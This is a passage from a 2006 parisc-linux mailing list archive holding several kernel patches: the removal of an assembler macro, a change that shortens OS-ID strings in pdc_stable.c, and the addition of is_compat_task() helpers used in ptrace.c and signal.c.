Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id 52FD33B073
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:34:53 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CCymfGMzYW0+truGbmZplVV0amthc1sZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23765

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 arch/parisc/kernel/syscall.S |   12 ------------
 1 files changed, 0 insertions(+), 12 deletions(-)

9f6d09dc715952f5d953645d050a400ffa881af5
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index a028c99..9670a89 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -29,18 +29,6 @@ #else
 	.level		1.1
 #endif
 
-#ifndef CONFIG_64BIT
-	.macro fixup_branch,lbl
-	b	    \lbl
-	.endm
-#else
-	.macro fixup_branch,lbl
-	ldil	    L%\lbl, %r1
-	ldo	    R%\lbl(%r1), %r1
-	bv,n        %r0(%r1)
-	.endm
-#endif

From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 13/23] [PARISC] Reduce data footprint in
	pdc_stable.c
Date: Sun, 25 Jun 2006 19:34:41 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <11512784933098-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624114 19975 80.91.229.3 (22 Nov 2014 02:41:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:54 +0000 (UTC)
Cc: Thibaut Varene <varenet@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:37:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 26 Jun 2006 01:37:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 907407D810;
	Sun, 25 Jun 2006 17:36:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17040-05; Sun, 25 Jun 2006 17:36:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E899C7D7A2;
	Sun, 25 Jun 2006 17:36:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 712637D781
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16775-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:18 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 2CDF47D721
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:13 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E66F45840B8;
	Sun, 25 Jun 2006 19:36:06 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EFB5A5840BC;
	Sun, 25 Jun 2006 19:36:05 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id D93EE23E87;
	Sun, 25 Jun 2006 19:36:04 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20079-10; Sun, 25 Jun 2006 19:36:04 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 7047F23E83;
	Sun, 25 Jun 2006 19:36:02 -0400 (EDT)
Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id 1C2913B070;
	Sun, 25 Jun 2006 19:34:53 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EnvtZDxneSE5qr6WZHQhbk92IGRvbwCi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23766

From: Thibaut Varene <varenet@parisc-linux.org>

No code change - reduce data footprint.

Signed-off-by: Thibaut VARENE <varenet@parisc-linux.org>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 drivers/parisc/pdc_stable.c |   16 ++++++++--------
 1 files changed, 8 insertions(+), 8 deletions(-)

e2a55d47bfe9d186d8060194028a5f63114108a9
diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 4b991d5..a109421 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -628,16 +628,16 @@ pdcs_osid_read(struct subsystem *entry, 
 		return -EINVAL;
 
 	switch (pdcs_osid) {
-		case 0x0000:	tmpstr = "No OS-dependent data"; break;
-		case 0x0001:	tmpstr = "HP-UX dependent data"; break;
-		case 0x0002:	tmpstr = "MPE-iX dependent data"; break;
-		case 0x0003:	tmpstr = "OSF dependent data"; break;
-		case 0x0004:	tmpstr = "HP-RT dependent data"; break;
-		case 0x0005:	tmpstr = "Novell Netware dependent data"; break;
-		case 0x0006:	tmpstr = "Linux dependent data"; break;
+		case 0x0000:	tmpstr = "No OS"; break;
+		case 0x0001:	tmpstr = "HP-UX"; break;
+		case 0x0002:	tmpstr = "MPE-iX"; break;
+		case 0x0003:	tmpstr = "OSF"; break;
+		case 0x0004:	tmpstr = "HP-RT"; break;
+		case 0x0005:	tmpstr = "Novell Netware"; break;
+		case 0x0006:	tmpstr = "Linux"; break;
 		default:	tmpstr = "Unknown"; break;
 	}
-	out += sprintf(out, "%s (0x%.4x)\n", tmpstr, pdcs_osid);
+	out += sprintf(out, "%s dependent data (0x%.4x)\n", tmpstr, pdcs_osid);
 
 	return out - buf;
 }
-- 
1.3.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 15/23] [PARISC] Add is_compat_task() helper
Date: Sun, 25 Jun 2006 19:34:43 -0400
Lines: 179
Approved: news@gmane.org
Message-ID: <11512784931469-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624114 19977 80.91.229.3 (22 Nov 2014 02:41:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:37:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 26 Jun 2006 01:37:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C768E7D771;
	Sun, 25 Jun 2006 17:37:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17080-06; Sun, 25 Jun 2006 17:37:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37AFF7D7A8;
	Sun, 25 Jun 2006 17:36:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C7087D784
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16730-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:18 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 3157D7D74A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:13 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D0DEB5840C0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:07 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 0DB085840BD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:06 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id C19F723E82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:04 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20154-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:04 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 6C8BF23E86
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:01 -0400 (EDT)
Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id 450243B072
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:34:53 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eiapdWc1YmYSn+nCanc3MxlKWkZTQRQQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23767

... And convert signal.c and ptrace.c to use it instead of open
coded equivalents.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 arch/parisc/kernel/ptrace.c |    8 ++++----
 arch/parisc/kernel/signal.c |   20 ++++++++++----------
 include/asm-parisc/compat.h |   11 +++++++++++
 3 files changed, 25 insertions(+), 14 deletions(-)

d504011f391cc883c080decc1ba70d70b8a4a6ba
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 413292f..3f28de9 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -91,7 +91,7 @@ #endif
 		int copied;
 
 #ifdef __LP64__
-		if (personality(child->personality) == PER_LINUX32) {
+		if (__is_compat_task(child)) {
 			unsigned int tmp;
 
 			addr &= 0xffffffffL;
@@ -123,7 +123,7 @@ #endif
 	case PTRACE_POKEDATA:
 		ret = 0;
 #ifdef __LP64__
-		if (personality(child->personality) == PER_LINUX32) {
+		if (__is_compat_task(child)) {
 			unsigned int tmp = (unsigned int)data;
 			DBG("sys_ptrace(POKE%s, %d, %lx, %lx)\n",
 				request == PTRACE_POKETEXT ? "TEXT" : "DATA",
@@ -146,7 +146,7 @@ #endif
 	case PTRACE_PEEKUSR: {
 		ret = -EIO;
 #ifdef __LP64__
-		if (personality(child->personality) == PER_LINUX32) {
+		if (__is_compat_task(child)) {
 			unsigned int tmp;
 
 			if (addr & (sizeof(int)-1))
@@ -205,7 +205,7 @@ #endif
 			goto out_tsk;
 		}
 #ifdef __LP64__
-		if (personality(child->personality) == PER_LINUX32) {
+		if (__is_compat_task(child)) {
 			if (addr & (sizeof(int)-1))
 				goto out_tsk;
 			if ((addr = translate_usr_offset(addr)) < 0)
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index cc38edf..bb83880 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -76,7 +76,7 @@ sys_rt_sigsuspend(sigset_t __user *unews
 #ifdef __LP64__
 	compat_sigset_t newset32;
 
-	if(personality(current->personality) == PER_LINUX32){
+	if (is_compat_task()) {
 		/* XXX: Don't preclude handling different sized sigset_t's.  */
 		if (sigsetsize != sizeof(compat_sigset_t))
 			return -EINVAL;
@@ -153,7 +153,7 @@ #ifdef __LP64__
 	compat_sigset_t compat_set;
 	struct compat_rt_sigframe __user * compat_frame;
 	
-	if(personality(current->personality) == PER_LINUX32)
+	if (is_compat_task())
 		sigframe_size = PARISC_RT_SIGFRAME_SIZE32;
 #endif
 
@@ -166,7 +166,7 @@ #endif
 #ifdef __LP64__
 	compat_frame = (struct compat_rt_sigframe __user *)frame;
 	
-	if(personality(current->personality) == PER_LINUX32){
+	if (is_compat_task()) {
 		DBG(2,"sys_rt_sigreturn: ELF32 process.\n");
 		if (__copy_from_user(&compat_set, &compat_frame->uc.uc_sigmask, sizeof(compat_set)))
 			goto give_sigsegv;
@@ -186,7 +186,7 @@ #endif
 
 	/* Good thing we saved the old gr[30], eh? */
 #ifdef __LP64__
-	if(personality(current->personality) == PER_LINUX32){
+	if (is_compat_task()) {
 		DBG(1,"sys_rt_sigreturn: compat_frame->uc.uc_mcontext 0x%p\n",
 				&compat_frame->uc.uc_mcontext);
 // FIXME: Load upper half from register file
@@ -315,7 +315,7 @@ #ifdef __LP64__
 
 	compat_frame = (struct compat_rt_sigframe __user *)frame;
 	
-	if(personality(current->personality) == PER_LINUX32) {
+	if (is_compat_task()) {
 		DBG(1,"setup_rt_frame: frame->info = 0x%p\n", &compat_frame->info);
 		err |= copy_siginfo_to_user32(&compat_frame->info, info);
 		DBG(1,"SETUP_RT_FRAME: 1\n");
@@ -392,7 +392,7 @@ #endif
 	haddr = A(ka->sa.sa_handler);
 	/* The sa_handler may be a pointer to a function descriptor */
 #ifdef __LP64__
-	if(personality(current->personality) == PER_LINUX32) {
+	if (is_compat_task()) {
 #endif
 		if (haddr & PA_PLABEL_FDESC) {
 			Elf32_Fdesc fdesc;
@@ -427,19 +427,19 @@ #endif
 	 */
 	sigframe_size = PARISC_RT_SIGFRAME_SIZE;
 #ifdef __LP64__
-	if(personality(current->personality) == PER_LINUX32)
+	if (is_compat_task())
 		sigframe_size = PARISC_RT_SIGFRAME_SIZE32;
 #endif
 	if (in_syscall) {
 		regs->gr[31] = haddr;
 #ifdef __LP64__
-		if(personality(current->personality) == PER_LINUX)
+		if (personality(current->personality) == PER_LINUX)
 			sigframe_size |= 1;
 #endif
 	} else {
 		unsigned long psw = USER_PSW;
 #ifdef __LP64__
-		if(personality(current->personality) == PER_LINUX)
+		if (personality(current->personality) == PER_LINUX)
 			psw |= PSW_W;
 #endif
 
@@ -464,7 +464,7 @@ #endif
 	regs->gr[26] = sig;               /* signal number */
 	
 #ifdef __LP64__
-	if(personality(current->personality) == PER_LINUX32){
+	if (is_compat_task()) {
 		regs->gr[25] = A(&compat_frame->info); /* siginfo pointer */
 		regs->gr[24] = A(&compat_frame->uc);   /* ucontext pointer */
 	} else
diff --git a/include/asm-parisc/compat.h b/include/asm-parisc/compat.h
index 289624d..71b4eee 100644
--- a/include/asm-parisc/compat.h
+++ b/include/asm-parisc/compat.h
@@ -5,6 +5,7 @@ #define _ASM_PARISC_COMPAT_H
  */
 #include <linux/types.h>
 #include <linux/sched.h>
+#include <linux/personality.h>
 
 #define COMPAT_USER_HZ 100
 
@@ -149,4 +150,14 @@ static __inline__ void __user *compat_al
 	return (void __user *)regs->gr[30];
 }
 
+static inline int __is_compat_task(struct task_struct *t)
+{
+	return personality(t->personality) == PER_LINUX32;
+}
+
+static inline int is_compat_task(void)
+{
+	return __is_compat_task(current);
+}
+
 #endif /* _ASM_PARISC_COMPAT_H */
-- 
1.3.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 19/23] [PARISC] OS_ID_LINUX == 0x0006
Date: Sun, 25 Jun 2006 19:34:47 -0400
Lines: 92
Approved: news@gmane.org
Message-ID: <11512784934070-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624114 19981 80.91.229.3 (22 Nov 2014 02:41:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:37:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 26 Jun 2006 01:37:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 292D27D820;
	Sun, 25 Jun 2006 17:37:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17162-01; Sun, 25 Jun 2006 17:37:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FAE17D7AA;
	Sun, 25 Jun 2006 17:36:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C188F7D781
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16775-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:19 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 8BD867D74E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:13 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 3D1E35840BC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:13 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D52425840C3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:08 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 1219223E82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:08 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20159-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:07 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 0C02523E8A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:05 -0400 (EDT)
Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id 7F2433B076
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:34:53 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Nnfqd2IzODBpsLWUfGRMFHI1Ji9SWtKQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23768

We were assigned an OS_ID of 0x0006. Consistently use OS_ID_LINUX
instead of using the magic number. Also update the OS_ID_ defines in
asm/pdc.h to reflect this.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 arch/parisc/kernel/firmware.c |    4 +++-
 arch/parisc/kernel/setup.c    |    2 +-
 drivers/parisc/pdc_stable.c   |    4 ++--
 include/asm-parisc/pdc.h      |    3 +--
 4 files changed, 7 insertions(+), 6 deletions(-)

889a598b271a7ef14c2c7c83b26a82ccf57d9ab9
